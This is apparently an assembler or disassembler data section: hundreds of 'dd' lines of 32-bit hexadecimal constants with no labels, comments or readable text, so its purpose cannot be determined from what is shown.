dd 3FADFDBDh, 50220F7h, 0ED9D0BB7h, 6EBBE0A0h, 574F6118h
dd 3B7F29AEh, 7927EC6Ah, 7800D251h, 0D1ED2C58h, 0D76F002Eh
dd 4C81B866h, 8D1331F8h, 0DCEB0FADh, 6F4FB7A9h, 17B2E2F6h
dd 26F2B430h, 145BC91h, 65AE3176h, 14623E9h, 0B2B66E9Eh
dd 14309683h, 0AC874B19h, 9FBA3C35h, 37276142h, 0BEE501B8h
dd 0AF698F4Ch, 7BBD5DD7h, 0E8644800h, 4F28EB1h, 81B501D3h
dd 0BB660126h, 322F2896h, 7B55FC79h, 0AACD6BF5h, 79505640h
dd 0AC310229h, 94EC37E7h, 0C9DBC3E1h, 0FD122FF6h, 48F1C7A6h
dd 0C042F556h, 1517634h, 9B173BBFh, 9570D1FCh, 5949EAD9h
dd 0BD0384FEh, 0B92194A1h, 0CC879263h, 9F587BB9h, 1121082Bh
dd 40C4F652h, 0B5AB483h, 20024875h, 928469Bh, 87ADFADh
dd 7AC75C95h, 5C36EA5Fh, 3F532D37h, 8A3ED0h, 876DFD6Bh
dd 0C6B275B5h, 0D5BD9Fh, 9C38CD71h, 0BE3A1AC6h, 34CB4B1Bh
dd 0E9FABC63h, 7989AED4h, 820BB92Fh, 5C5D7BCBh, 8E5E69DEh
dd 0CD6BBA40h, 6F3041Ah, 0FF5081A9h, 0A34E74F3h, 37FB5B4Dh
dd 0AAF3BF6Bh, 8D8BE4D1h, 612D9F6Dh, 8025B775h, 204016FEh
dd 3601EA7Eh, 5B53B487h, 17D32B7h, 0FCAFB30h, 80BFE541h
dd 2C53177Bh, 19E4B540h, 908B0D61h, 0A83AFD8Ah, 0EDE65EA0h
dd 0B3AE03E0h, 0DBAAD4D7h, 9C8880F6h, 308E1136h, 31448912h
dd 105AB585h, 0B3D2F5BDh, 0F5246B64h, 0D1FF4822h, 3DC0B56h
dd 2E9FB1BBh, 22A0D50Dh, 1497478Ah, 24C4266h, 26ADBBFh
dd 0E6EC55F8h, 0A9A938BDh, 0F9778226h, 0DCFE2491h, 0D4021946h
dd 0D2BA1877h, 0FDD260F5h, 9FE9802Fh, 59A75C95h, 89042419h
dd 104EEF90h, 6C36143h, 0DF0A09CFh, 30DD9148h, 0D82D9D28h
dd 4F5CCA9h, 370F5080h, 7561228Ch, 25B252h, 1D2D126Ah
dd 126DB58h, 225E3C5Dh, 0F9C66C53h, 0FEA13BDFh, 4D0DCD6Fh
dd 4CE77C95h, 37C31256h, 6FB59CB9h, 28951251h, 0C98026F8h
dd 6A67D05Bh, 4015661Fh, 0DF35C265h, 3B0005D3h, 817C3DD5h
dd 143A0428h, 85A89E7Dh, 0D4E6BFA2h, 88D87BF0h, 7FE4DE25h
dd 8D89E020h, 0EA99320Dh, 5E2DB91Dh, 153E5147h, 0F3A2AEh
dd 6BE22074h, 2F6DD5h, 40BC1E47h, 1944956h, 671D9526h
dd 0F2B06189h, 7B8E097Bh, 0E98270E6h, 0D97771E4h, 45692535h
dd 0FC6D9208h, 734537E1h, 0D6472087h, 3BB861A4h, 0E155BFC2h
dd 0B2E409h, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h, 0BCEE264Ah
dd 40189EB0h, 71C47955h, 0C22D4901h, 16AD0342h, 0C2AAA87Fh
dd 25185D85h, 0B99704C8h, 0D18B0626h, 0F2840D82h, 4755ADE9h
dd 231C7675h, 4755DEA0h, 0DFC64968h, 7302F223h, 55318E0Eh
dd 7AC624DEh, 55DE8268h, 0F7817890h, 0D80AF308h, 4A1F4473h
dd 2510B709h, 0B1AEE927h, 0F2DCD1B3h, 59E82B17h, 405C7CE2h
dd 2009D069h, 80091569h, 71612BE5h, 0AD3A1649h, 6600DD99h
dd 0A7781D0Dh, 8E26016Ah, 92AA9399h, 0B8E1D45Ch, 6098F24Bh
dd 959D1003h, 9F91D011h, 12400513h, 1A56EEBFh, 6A319713h
dd 0DB7DF63Ch, 70EB7824h, 6A71F012h, 8194DBFAh, 25150DEEh
dd 5A61D043h, 5C24AAADh, 0AA70ACh, 8BB6677h, 5BE4B9C0h
dd 0A1EFF70Fh, 0F27F5435h, 62A359ACh, 5C1DC75Ch, 0D3810269h
dd 40C369A2h, 0E071F6BDh, 44E9E302h, 2100590Ch, 958C3345h
dd 12E28FFFh, 0EA74FD90h, 9C5DD5CCh, 93642557h, 0D07375BBh
dd 0FF19862h, 29DA1DA7h, 0A22FAFF2h, 2477381h, 0B5993BAFh
dd 4E75B97Fh, 3BA4C24h, 304CD9C0h, 0A731D280h, 10DDD4Ch
dd 2776EC1h, 3CA792FFh, 0D09027Fh, 7EBD88h, 0C2822A10h
dd 0C713AC91h, 0BC8CC563h, 6918BE52h, 11753757h, 0A1418316h
dd 0B7E3F02Fh, 4C0E25F6h, 80191DD7h, 801AA84Fh, 6D1006EFh
dd 0F12F36E2h, 0B9D9407Bh, 0A27DA86Eh, 8BDFFD9h, 2BA96085h
dd 0FC6A35FFh, 0BBB75AD5h, 231846F0h, 63214F00h, 17D3BC7Fh
dd 8B0F14F5h, 5E76341Bh, 0CBA7015h, 0A6004A20h, 18521FDCh
dd 45FE58Fh, 3FC6FB5Dh, 0D374AE5Bh, 802DDAABh, 67BE4E6Ah
dd 3E8805B8h, 0BEA19FAAh, 274B8CA2h, 397F40EFh, 4116E3D5h
dd 0C4E9E1FFh, 9E25C0B8h, 8E09FDB5h, 0A58D7977h, 0DED03CEh
dd 0C7A8243Dh, 117A0E02h, 57DD9D89h, 0B891347h, 943DD704h
dd 25EDD800h, 1220703Bh, 0F23C0BCEh, 0AAA48807h, 601640CAh
dd 7B871F99h, 0CA70872Bh, 0AAE45h, 35B5472Ch, 3E269AC9h
dd 8229B812h, 13DA7BAFh, 3F04D7D0h, 24AF1A85h, 4EA2AB04h
dd 32B3D24Ah, 0D2807B55h, 9306FB5Dh, 0E68DABF5h, 0BF4322Ah
dd 2E30A661h, 0CE2B675h, 59B3500h, 1AB004CDh, 60EA7800h
dd 0B975A2E3h, 92C504BCh, 0A887833Dh, 0E8AC4FA2h, 58645025h
dd 889AF307h, 0CCC0DEB0h, 716F7DD7h, 97FB3BECh, 5FC4AF05h
dd 1EF7ABE2h, 607C506Ah, 0AB28A8CDh, 6AF1C016h, 9FC9ACDBh
dd 2D0088E4h, 0AE84C9A7h, 51ACDBh, 0A0298CDh, 0D2AD27E8h
dd 0FF247C5Bh, 1763B3BAh, 0A10446B4h, 0E81221E5h, 1B6110B7h
dd 3FE66802h, 57E7C1h, 5DC419FAh, 28E4B518h, 10D60800h
dd 8F3A459Eh, 0FC59E6F7h, 0E3B32F94h, 752B9ADFh, 0E4BF126Eh
dd 4F5CBD3Fh, 5645EAE2h, 0B6123A23h, 0CFE35Fh, 0F322CEBBh
dd 4CAFE942h, 0FA89AA01h, 0EFDF0C09h, 34E60D5h, 0B92DE559h
dd 0A66C594Ch, 0F6C60254h, 53F56A52h, 147B49B9h, 2FBF3F50h
dd 88E28791h, 0ED5F9E8Bh, 0E79C6AFAh, 0B9F7E07Dh, 9AEE134Eh
dd 0BD09381Eh, 0DF76EAE5h, 0B9DED384h, 0D5B6D3FDh, 687FAFA0h
dd 0C69E7302h, 21BF1A4h, 0F60B2EE9h, 446803Ah, 0AD1222BFh
dd 52963A02h, 0F85BFD8Ah, 219727FEh, 0F9780AF3h, 9E9E491h
dd 0A3BEF2FBh, 2BDE0502h, 564C8BFFh, 1446DEE1h, 0A6689F03h
dd 0BBB85D8Ah, 0D4252513h, 5900E053h, 12427C89h, 0BA059529h
dd 1923117Ah, 4F1A3100h, 55B76BEh, 89D9BF0Fh, 5096B4B5h
dd 0B78BD39Eh, 88CDF5DFh, 1E46C49h, 5AFEB2B3h, 0C0F5209Dh
dd 89086E21h, 16162595h, 0AB0E8461h, 700F823Dh, 393525C3h
dd 20F4B8A1h, 44A957Dh, 3969A8CFh, 18CBBA8Fh, 0B510E677h
dd 7CC06F4Dh, 9153A0Bh, 1097B82Ch, 5D7B671h, 0BE60DD8Ah
dd 18C96C04h, 2A7399EBh, 0EE803BBDh, 8842B903h, 0B261C80Ah
dd 0BF0BE338h, 222996CEh, 0EDB5D185h, 0FF2EC029h, 0BC0AC56Eh
dd 0E3803D51h, 8A03A158h, 0E7162185h, 12414CF9h, 9BAB1199h
dd 0D47596FFh, 2A16B1BAh, 258D8098h, 38D70849h, 1D96F890h
dd 0EB612BBh, 6DC15061h, 0F2190FB1h, 2DCD476h, 4C3F6295h
dd 56D6F560h, 0E25A7F49h, 794E0173h, 0EA595A0Bh, 0C2514F9Dh
dd 796623D8h, 0FD2D5DB0h, 499D52Fh, 0C2137C80h, 0B867A4EBh
dd 0E9698591h, 4119D2Bh, 0EB6E859Dh, 164FE48Ah, 9ADA74Dh
dd 540C800Fh, 0E98D5802h, 0DEFF8FD6h, 5C288157h, 122B1ECFh
dd 0E0AFA6DDh, 27DDB05Dh, 1C57F98Ah, 2638907Ch, 4AAB1099h
dd 41361B5h, 356670AEh, 19828B04h, 11AA44ADh, 0AA93E58Bh
dd 0CE25200Bh, 0C8799596h, 93BE6025h, 2E22125Bh, 9449BFFAh
dd 0F65E5E50h, 0A3599909h, 3570598Ch, 4ABFFD8Ah, 0FA84FA2h
dd 3FBC8B00h, 55E30926h, 0B74D5AC4h, 8B9A4BA6h, 0A3A2F980h
dd 0B3EAA14Fh, 91CA334Ah, 15F96021h, 18503718h, 2D41A9EAh
dd 4069A830h, 0B3129608h, 0C9BF501Dh, 0F21BE52Bh, 0E5E0BFEDh
dd 2DA84972h, 93D8DF84h, 21159694h, 8C1CE8C1h, 12EB5B0Eh
dd 0A8621E4h, 0ED3083B4h
dd 0ABF55A8Fh, 0D85A3B6Ah, 861C90E2h, 0ADFF962Eh, 0E91976F5h
dd 0DF97ABF5h, 764999CDh, 7057E9DBh, 9F35B0A4h, 5C2FE854h
dd 0B676F295h, 0B37101D4h, 0BA2114CEh, 7D633B11h, 7408B8D7h
dd 0CA5C9765h, 0C0ED9ED4h, 0C51A07FAh, 55010B97h, 5B4B504Fh
dd 912D04ADh, 4D1F83C5h, 24E9A109h, 0AF0E5CF3h, 6DA04FDAh
dd 0E2830B19h, 2D9D56C1h, 0F00E8800h, 59DDEA81h, 1414BEA6h
dd 30F111BBh, 8530F37Fh, 0E54F3C59h, 5C4D50A5h, 58CB90AFh
dd 1AC2662Bh, 2D9894F0h, 5A4D3817h, 44122B0Bh, 3C500379h
dd 3A81D003h, 195E45B3h, 2DB64EFEh, 0E9B9C017h, 0E3CBFFD9h
dd 654B05C8h, 4003A643h, 64F313Ch, 0BC1411C2h, 12C4FAF5h
dd 50615A5h, 1CC35BF8h, 1BD1030Ch, 4D23E920h, 122A08DBh
dd 644BA241h, 137026E2h, 0C804C483h, 8B4851AAh, 81100535h
dd 1418B0A9h, 2D3359B5h, 1F84C3C0h, 2524322Fh, 6DAF15C6h
dd 0D2684701h, 20D49AA7h, 294B2DB1h, 7FE81C44h, 1AD0121Fh
dd 8203081Ah, 0EB2716A9h, 7A4890D3h, 9BF40091h, 0D1A7853Ah
dd 6D079920h, 8610AE6Bh, 38FCC530h, 0B2649F60h, 470923F8h
dd 800512F2h, 5897C71Bh, 90D902B8h, 596172A4h, 0C0E099FEh
dd 4B5BC181h, 2B42C85Ch, 0E480D20Eh, 111CE42Ch, 91C903EBh
dd 0B0B9D84Dh, 0F0F3E133h, 1D5B6E5Dh, 0DD008FA2h, 0FACA86A4h
dd 0CF4A8E44h, 0F245C5AEh, 1143BA3h, 2E1B6608h, 162C3F51h
dd 45A5F2Eh, 0C02F5B97h, 0ADC2611Eh, 7D536639h, 4F8BD603h
dd 0C911048Fh, 6A205EF5h, 0FE66B502h, 82F04A71h, 66110461h
dd 0A88584B8h, 0AFA480FAh, 9325D148h, 0CE8CFA53h, 3EF806BFh
dd 1520E95Eh, 0FA82B200h, 161755CCh, 0ED2E00BFh, 5EB3012Bh
dd 0A74C876Fh, 0E9350974h, 5969206Ah, 0F05D5C76h, 0FE7044h
dd 0F541698Dh, 1F619796h, 1068B932h, 4E0495B8h, 10820706h
dd 7B6D1500h, 81BA01Eh, 0B62D5891h, 11742A07h, 93FFD0E2h
dd 0A00F368h, 4A403286h, 96BB12h, 2B48BCCEh, 0A1CB4597h
dd 29AE2507h, 70602E04h, 1CF7D2ECh, 4D3B64h, 5D10E0EFh
dd 711CA27Ch, 2680D801h, 9E556386h, 0B4C7000Ah, 292AABFBh
dd 0CB13F08Ah, 43006989h, 0C50786EDh, 0EE20001Fh, 0F5673D4Fh
dd 0F000B6DBh, 42466698h, 0A4CDF7h, 4323961Eh, 284DC391h
dd 0A8159C00h, 4B4FB87h, 9E8400A5h, 27856336h, 0F62EB7C6h
dd 1301F80Bh, 463815CEh, 51822ECh, 0FD2690DEh, 14D500FAh
dd 87861BF9h, 0A7157F16h, 2A01B10h, 13E56B59h, 755C60DCh
dd 0E2A9003Eh, 0CC3174DEh, 93046789h, 0D1FF5A88h, 0CF97C0C0h
dd 509E002Ch, 0AFFEEE9Ah, 0CC742D44h, 9A18A03h, 90970E4Fh
dd 92F844Bh, 0BFC9438Dh, 23790200h, 0F31CBCC5h, 0D3431EC3h
dd 926FC15Bh, 28E8A086h, 0E06D3952h, 505F005Eh, 31C4D6DAh
dd 22073878h, 29AB1ED3h, 0E1C593h, 549AB370h, 2299C9E9h
dd 0F38BF400h, 0CA92959Ch, 169E0098h, 9A0763E6h, 0EF79C6D0h
dd 4147680Fh, 0AC42C00Bh, 0A1B3F8h, 75189B0Eh, 0C3B08F80h
dd 0DD8BBF04h, 638315E0h, 0BCFFE83Fh, 9F550F7Eh, 0C0FDA017h
dd 31D150CCh, 394987ADh, 5CFC0070h, 0FD6DA678h, 0CE0600D6h
dd 5D047BF0h, 2A0049AEh, 56E7D99Eh, 18F18286h, 0C9A7C62Bh
dd 58009CB1h, 0D2204ACFh, 7E6912h, 4D715652h, 0B40D4FA5h
dd 61192700h, 0FF4484CAh, 28E4002Bh, 87418B9Dh, 0A100B03Eh
dd 32B68C8Fh, 0CCBF8Eh, 776ACFB3h, 0D9E2EE43h, 0B98AB00Fh
dd 6242E0C4h, 24A54931h, 94A4801Bh, 0AC08809h, 0EEAF1477h
dd 1648E000h, 75C3E981h, 0EFA53F59h, 66DCF5FCh, 3ADB054Fh
dd 63E65CF4h, 0D8E051DCh, 1F0F07C7h, 60FD987Dh, 6AA4C520h
dd 40FF48FBh, 0B8F81408h, 9A2F4903h, 16AEB033h, 8C90096h
dd 0ED28F2B7h, 0A9001852h, 0A2DD0A75h, 0F4CBB698h, 94CC5034h
dd 310E0037h, 765B9D95h, 3C74F004h, 0AF576500h, 17A96C41h
dd 0C77F96h, 95E421C3h, 24A29023h, 3471B900h, 65E6CDB2h
dd 18F4E99Ah, 0AF1D0FF1h, 4620C5BFh, 2D633D05h, 4F800300h
dd 0E5115779h, 0EEB600DCh, 0C366E968h, 9103FBDDh, 135D8CF5h
dd 99BC9B92h, 48C6671Dh, 599C2E8h, 9CD425ADh, 33718309h
dd 0E90EF0CFh, 0CBE6F7A4h, 4070B703h, 0A58641EFh, 0A0A8C80Fh
dd 793AEC01h, 78881D09h, 0FFB2C049h, 654243A3h, 36B15E03h
dd 72A70Fh, 0C587D70h, 34EBD4E2h, 94BAEA00h, 2846BF14h
dd 0AE1700A2h, 2FC00683h, 7300975Ah, 0F25465CFh, 53DDD7h
dd 0AC67E31h, 0C026F8D9h, 0AC125001h, 3C3E151Fh, 163D834h
dd 0ED0E3824h, 0F39F49FEh, 4D6EE790h, 0B70914F2h, 80020B7Fh
dd 0A2165B24h, 0DEFD00CBh, 0D05D6982h, 0B60FCEE8h, 9C28F66Dh
dd 44E5B0C0h, 3DC81B8h, 8A57DD29h, 34E093AEh, 69166F8Fh
dd 0A400AC5Ah, 0D4D7E42Eh, 589A8Ah, 1139243Ah, 0DCA201D0h
dd 58874F39h, 3EE5016Ah, 8A15CA46h, 4E3320h, 8152C120h
dd 0D2D02CEEh, 0FE000BEAh, 728C4CC7h, 0AE45841h, 3D671AECh
dd 0C6FD43E8h, 2DD89FA8h, 1B00CF90h, 0AC19633Ah, 29D1739h
dd 4DD9F0B7h, 4C417407h, 0A7E5CC95h, 0B1436D1Eh, 2111B440h
dd 174F847Eh, 2058B2h, 7DDB827Fh, 370CA393h, 0B80D52DAh
dd 0FB650019h, 5067611Ah, 8100A105h, 2B8B2230h, 18EC966h
dd 4920B5E2h, 0E0D81A63h, 990208A5h, 0E0F8225Bh, 0E8BC600Dh
dd 246A1D7Eh, 0ADE7C0C7h, 211E6E05h, 0BB228F00h, 7F22FE0h
dd 9F3B0078h, 0A06334EAh, 9100921Ah, 2011A3CCh, 0E4488698h
dd 9BAE003Bh, 3E4A9EC9h, 0AC005373h, 0A8F7FF0Dh, 78BA02F9h
dd 2992006Bh, 0CF3478B7h, 2FEAF022h, 64AD7A0Fh, 0C30B25D2h
dd 0C0001E85h, 71E5550Fh, 331800E6h, 0B5342065h, 3701661Dh
dd 0AED5A749h, 0E864F158h, 42A500FAh, 5D517B35h, 11908E5Bh
dd 0C9717901h, 8614D817h, 0B03ADCh, 0F97D726h, 0EFFA39C4h
dd 59986300h, 0B5FCEA4Fh, 578A00F5h, 0BA2BD315h, 213C4673h
dd 764C8A2h, 16D541B8h, 0C732D760h, 1C809A3Dh, 83EFFFBAh
dd 0FE9D196Dh, 0BA0083Ah, 0A02E781Ch, 1505B830h, 5C9AF9h
dd 0A565877Eh, 7164D7A0h, 2067CD0Fh, 2B8660CBh, 3986670h
dd 75F9EF7Ah, 0EFB7814Eh, 0B0FF3CA7h, 0F5A013EBh, 0E49A0D0Bh
dd 200FA7h, 0F9C0658Fh, 718460D4h, 0F001C10Bh, 556BC083h
dd 74A6005Dh, 0D511B281h, 0EEE6B838h, 20318A0h, 8571F902h
dd 6E515Dh, 0BBA76C67h, 49EFB733h, 7EF80735h, 0FA564DFh
dd 0F6425C00h, 66000859h, 31E0F061h, 4A01C5h, 0AE02D94Ch
dd 80D069FCh, 0B8BC3A00h, 63468EA5h, 22F901F2h, 0C37E47E9h
dd 0B9ABC43Ch, 49650E17h, 5DF59F00h, 1C1089FCh, 40611C42h
dd 5CD77677h, 0C300B146h, 17C82F4h, 1C5037Bh, 496AF628h
dd 30AF16EFh, 700325Fh, 20802C45h, 5384A6Fh, 0FFEA4B4h
dd 76D2071Dh, 50DE81B3h, 694AEC21h, 0B4DDA618h, 7D8E9h
dd 0ED6C56FBh, 4533F95Dh, 21E008CCh, 0FB101DB1h, 586CC1A3h
dd 507CCAD9h, 0B2025FA4h, 0FCBCC800h, 0A487C40Eh, 332001Ch
dd 81191579h, 28905C3Dh, 0A1F5931Ch, 61402464h, 0B008F656h
dd 858F0131h, 84D539C0h, 76218367h, 0B8A8F66Eh, 31B151DDh
dd 0FD5862CFh, 0C8810617h, 50C0A359h, 0EBB90EF6h, 442C50A0h
dd 0F6E48065h, 18A6B3Bh, 3D89119Eh, 904170C4h, 0B900817Ah
dd 18E808B2h, 9E6091F1h, 7F65380h, 0B8D189B9h, 6B778030h
dd 6E0B3F6h, 21B562AFh
dd 182C6491h, 2C83102Ah, 0E03C9E51h, 98051325h, 0BA4E3A2Dh
dd 29B70E80h, 3EE13A03h, 4962AC14h, 0C0A788D8h, 6C53FB0Ah
dd 88DF18EDh, 0FB0713AEh, 927259D8h, 62D2B982h, 0B29C00D3h
dd 7171CCB5h, 31F00ABh, 94A3D108h, 0B900111Ch, 0B747BCF6h
dd 31B3E4Bh, 0BE58CF95h, 181FF009h, 0C10248FAh, 39DBAFh
dd 3083C42Eh, 4A00497Ch, 914867E9h, 3FAA6CAh, 4EF46F7h
dd 0C58F71FCh, 43D8C01Eh, 9200ABC7h, 3C0F1528h, 7224ACh
dd 0DD0CC371h, 1180F219h, 0FEB91C18h, 781E9A38h, 36E1300Fh
dd 65DEBD28h, 0B32E7C00h, 637F794Dh, 0B4B05Eh, 0A2AD86F7h
dd 83103B2h, 1FE057Ah, 8972FF00h, 99F7303Eh, 2433009Eh
dd 844D9B4Eh, 0FB00EF3Dh, 13BE71A1h, 1E7057C4h, 0C0666273h
dd 56C2E314h, 0DA76C0E5h, 9D92050Eh, 405B60F2h, 7AC174h
dd 0CEF6F062h, 0DC72FB64h, 0E48D5Ch, 42C09ED0h, 7526CCE5h
dd 0FB63067Fh, 2878DE89h, 0C0406200h, 49BE2CF2h, 5570CF70h
dd 0FC0DD08Fh, 1C1BE020h, 0B8E8A53Dh, 7A630C26h, 0C0230836h
dd 0A5443921h, 77049CD2h, 5ECC3327h, 50AE1181h, 18AB63F4h
dd 71593C40h, 0BC00E948h, 0F6B820A3h, 15A9627h, 579C6B12h
dd 0D8AFC45Ch, 79075940h, 0ECCD1A65h, 0B66805E0h, 0E37B74h
dd 5371DB5Eh, 6A562F49h, 7C6E11Eh, 1AF88939h, 35C980E3h
dd 77C4219h, 0FB3CF6B2h, 81673641h, 0CD608617h, 567F1C07h
dd 3037C963h, 23213108h, 3400CD69h, 0B95B8B2h, 0E609F05Bh
dd 57C28066h, 2F97D6Fh, 845DDD0Fh, 1960CB98h, 0FEF6EBA5h
dd 985FF79h, 0E2804138h, 5B542B60h, 0C286C428h, 89148DFCh
dd 9DEC4A9Dh, 76796841h, 0E0A85EA3h, 49503D04h, 2BE25306h
dd 120A506Fh, 8C5DDA0Bh, 0F588DF00h, 60298767h, 42E6480Eh
dd 0E51453A7h, 0F8F06F39h, 0DE008C22h, 169B07D4h, 30A73D09h
dd 0DF60F345h, 404B79Eh, 2605F8C7h, 15C1CF48h, 1EEDEFA5h
dd 3C882618h, 0F0A5011Dh, 618A059Bh, 7F588224h, 20287C6h
dd 0E4849A8Dh, 0CD656040h, 8CDD79CCh, 242D44h, 0DA36CD6Eh
dd 0F659A51Fh, 96D50900h, 3A9C74E2h, 5529C037h, 4BF5DC97h
dd 31140F00h, 0F98E3E82h, 439A073Fh, 0E0EB695Eh, 19E9CB59h
dd 288E53Fh, 0D3F06428h, 5204488Dh, 60A303CAh, 0F781EF07h
dd 0D1831E99h, 34218084h, 6E61A3D2h, 0A65C0A24h, 3E8601Fh
dd 1115B205h, 42C9F000h, 75241802h, 3AE13689h, 1D46F8A1h
dd 0C7CD6402h, 60475FDDh, 0CD6D2700h, 110499h, 6EE5DB70h
dd 0DC183B0Bh, 40C27101h, 0ECE8A77Ah, 41AADD0h, 0C3109A32h
dd 86D221CEh, 0B022B980h, 506E8A79h, 0A27AA9F8h, 0A0A10100h
dd 3951EDCCh, 0FFF000ECh, 0E3D44579h, 664060AAh, 4657031Bh
dd 0D58A3A14h, 0B71F5196h, 80BF54B4h, 18875D22h, 0E37657C3h
dd 0C43F2181h, 0F83D6045h, 8CA01EC9h, 3609BEDDh, 1F8C1D1h
dd 9362C474h, 187CEF0h, 4C48D50Dh, 2079FDF3h, 970FF780h
dd 64A7BDh, 0E79AC2F8h, 1D7600B8h, 0B20B0A12h, 40C16922h
dd 0CC706EDDh, 99655880h, 6F73D2E7h, 0B275021Fh, 5AC293FEh
dd 10686014h, 1AC3BF12h, 36DAEEA5h, 3B101F31h, 5100A542h
dd 0F9FA982Dh, 6C970DEh, 2603F246h, 0D700A860h, 0D9CD6F8Dh
dd 152ADCh, 0B9F0633Fh, 836EE148h, 507C0A48h, 3B8CF634h
dd 708A3CCh, 5E62831Fh, 14320064h, 970074A4h, 0DBE8BA3Ah
dd 83322C7h, 1C20E1B1h, 11593E09h, 0E9193F2Ch, 2FDDC4CDh
dd 92E448Ch, 0A2006B7Fh, 0BCEF915Ch, 13A4C057h, 5AB6E59Bh
dd 4929F4h, 18985814h, 0A3ECA53Fh, 251146h, 12A5403Dh
dd 2266EA9h, 0C45D0C4Ah, 6476DBh, 0A7AB891Eh, 1B179C7h
dd 0EC23C88Dh, 8A3030A2h, 89EC0CB5h, 0F7195DE4h, 35202CB0h
dd 87C80C65h, 0F279FFA9h, 56206F01h, 92B56372h, 3B740824h
dd 9A8037B2h, 9C53912Ch, 1C071DEDh, 6A440994h, 0F9D88CB0h
dd 701B00D5h, 57A3AECh, 0F63CA524h, 0CC1E0342h, 0D82DE99Eh
dd 4F7894h, 1FC1C33h, 0B9EB4CA6h, 0D0002CECh, 26A81E91h
dd 0B0D3ACh, 0DF58D7DCh, 0F95C04CEh, 403ADA16h, 0A000BAF8h
dd 1AB0E088h, 0FFA00EEAh, 6B00CCBCh, 0CBA32C6h, 79F8D3Eh
dd 0A11D3D02h, 0D6F06030h, 4B0E69F3h, 2051206Bh, 673D17C0h
dd 2D1900A5h, 40E1FCADh, 0CA78FBDDh, 0CDA77401h, 0C29752D3h
dd 1D90BC20h, 81344925h, 0E022DE48h, 82189EE5h, 215D05C3h
dd 83C7E1C4h, 78AB18E0h, 1A92241Ch, 0FB28304Bh, 7E3094BBh
dd 780C60FCh, 0B43A3C46h, 52ACFA00h, 0D4F4EE6Ah, 0A4CA8B00h
dd 16AAE29Eh, 0CD8C03F0h, 0C8A5DD2Dh, 0EF7A2811h, 65944000h
dd 4D16A9B9h, 0AC39F50Ch, 0D2A7880h, 1847021Dh, 0A51C0CD1h
dd 6D193F63h, 0A9B0034Dh, 3DC41B40h, 0B489821h, 2B8C02DEh
dd 863480C0h, 5C2A2129h, 8A009D22h, 8D47093Eh, 61263F7h
dd 1D42C570h, 0FB002124h, 0B55D560Ah, 542ECAh, 0DCDECBEBh
dd 5AAA85B0h, 47A60418h, 6C742B1h, 0F1ADB386h, 4D01C6ABh
dd 48CF3E8Ch, 51A8C459h, 631C0AEh, 0DB47C2B9h, 4404D70Fh
dd 0CBF48001h, 643DA3Ah, 0E99556F2h, 4244788Ah, 3B8D1F68h
dd 0E8F4423Fh, 0A083F919h, 0E905691Ah, 3BC84182h, 0A2959800h
dd 75E8B1h, 88D45B0h, 0BDC3AEDAh, 837DCF00h, 4A055011h
dd 78DC61FFh, 526422ACh, 4A20E524h, 1FA57DCEh, 451214h
dd 0A89367ACh, 0FC096F16h, 20D905F7h, 87B97D4Ch, 9110013Ah
dd 0B85811E9h, 2484D1E6h, 86F89A2Ch, 8915CC39h, 17BA031h
dd 0C80AA808h, 0CDA5E450h, 50B57062h, 0DB98CBh, 8740D2EFh
dd 7ED931EEh, 0CA080666h, 0C0DD0050h, 2232D2F7h, 0D3E47C46h
dd 7888F0A3h, 0BD0A4D05h, 0B83A4AF9h, 0BC20A20Ah, 488FC680h
dd 58C2D789h, 0E80429DAh, 0C07FC57Ch, 1DE27125h, 0D6528207h
dd 9451964Fh, 58B3DF12h, 48C02D41h, 60C134ADh, 0CE36C4CBh
dd 7F332081h, 20389B98h, 7740A078h, 5120E632h, 5C4270B5h
dd 8A682064h, 8300E40Ah, 54B072B4h, 0F45AFE41h, 0EB9900A9h
dd 0DD4C8451h, 3600508Dh, 80400BD2h, 3CDB1E83h, 6480F87Ah
dd 3BC2FFC5h, 3D3B107Ch, 8AB880CEh, 22BFF09Ah, 15BE0725h
dd 0A06BE2CAh, 0AA09E739h, 0A250C100h, 78F7F5A9h, 0B2990031h
dd 289B119Fh, 3D00D1A7h, 211EB8ABh, 8EA3F0h, 0CC0DD318h
dd 0FE488C89h, 3CB5A22Eh, 0B8731900h, 0E0A492h, 0FA26ABD8h
dd 0D4522D83h, 2AA90D00h, 5C4E4047h, 20B760B1h, 0ADC26C73h
dd 0DC203F53h, 0F3875091h, 0CCD0331Dh, 0EB0030A6h, 9441AFB1h
dd 33BC8EB5h, 0C608DD4Ah, 0AB0C2100h, 17A5B4AFh, 49AEC03Ah
dd 0A0451E77h, 0C1EB0818h, 36905E0h, 9278F812h, 0A100986Ch
dd 0A1837451h, 7733E0DEh, 673C741Dh, 8EF5581Ah, 0BD8044F4h
dd 959415AFh, 0BE229143h, 0AFB71017h, 289A7901h, 0AC53BB0Bh
dd 0E072C318h, 71511DCBh, 0DDBE28A2h, 0F138C0DEh, 98AA9466h
dd 725BD000h, 5117D12Dh, 38760037h, 0DE4E73ACh, 0D006990Ch
dd 794972BFh, 0FDCB1DA1h, 0A104CF47h, 98CFDC61h, 0F4089831h
dd 3FDA71h, 0F7FAAF79h, 0C31E9EE0h, 274B0519h, 93C0A241h
dd 3BA8C3C6h, 0B58AEE91h, 0C06E7306h, 6C7D0FD9h, 0E901AE76h
dd 7EEC7F28h, 4B206160h, 907500B1h, 625C5835h, 0B70D4DE2h
dd 0D09EB83Eh, 31DADC8h, 5E6992Fh, 9964AC4Fh, 4A6348C8h
dd 31A103B8h, 42DD0087h, 507B4979h, 1A293705h, 0AC0EBA75h
dd 5D02900Ah, 6F4601B8h
dd 6093B4A7h, 6CFDBF8Eh, 0F61CB507h, 8146B4FCh, 4E310021h
dd 0D96D838Eh, 9D247C92h, 378308DDh, 105574E9h, 887590B0h
dd 9BECC4Eh, 5861A129h, 0E300EF11h, 39B37940h, 0A500D25Ch
dd 8C3804BDh, 360F252h, 3B7345CBh, 50002153h, 7575031h
dd 3B79932h, 0F5C41D35h, 18ABCF60h, 59D48830h, 1F1AB298h
dd 0C971E443h, 541117F2h, 8BE1841h, 8D9446AFh, 1141C5C4h
dd 30C6AFB4h, 0A04DE2Ah, 9DF81091h, 0BB048C87h, 0CAB82900h
dd 0B90A3118h, 0E899303Eh, 0F5F06C00h, 7CAB3A42h, 77E83571h
dd 372C0118h, 0F8E49F9Bh, 0B50AA4D1h, 0A0245005h, 4C634A64h
dd 41A105B8h, 0D7E9448Ch, 0EF794401h, 0E81EAD97h, 8409F844h
dd 91201FBCh, 754080F5h, 24F719Ah, 195721C8h, 2840AB3Eh
dd 23015124h, 3C72900Ah, 0AC481868h, 0AF718C46h, 0E5943F13h
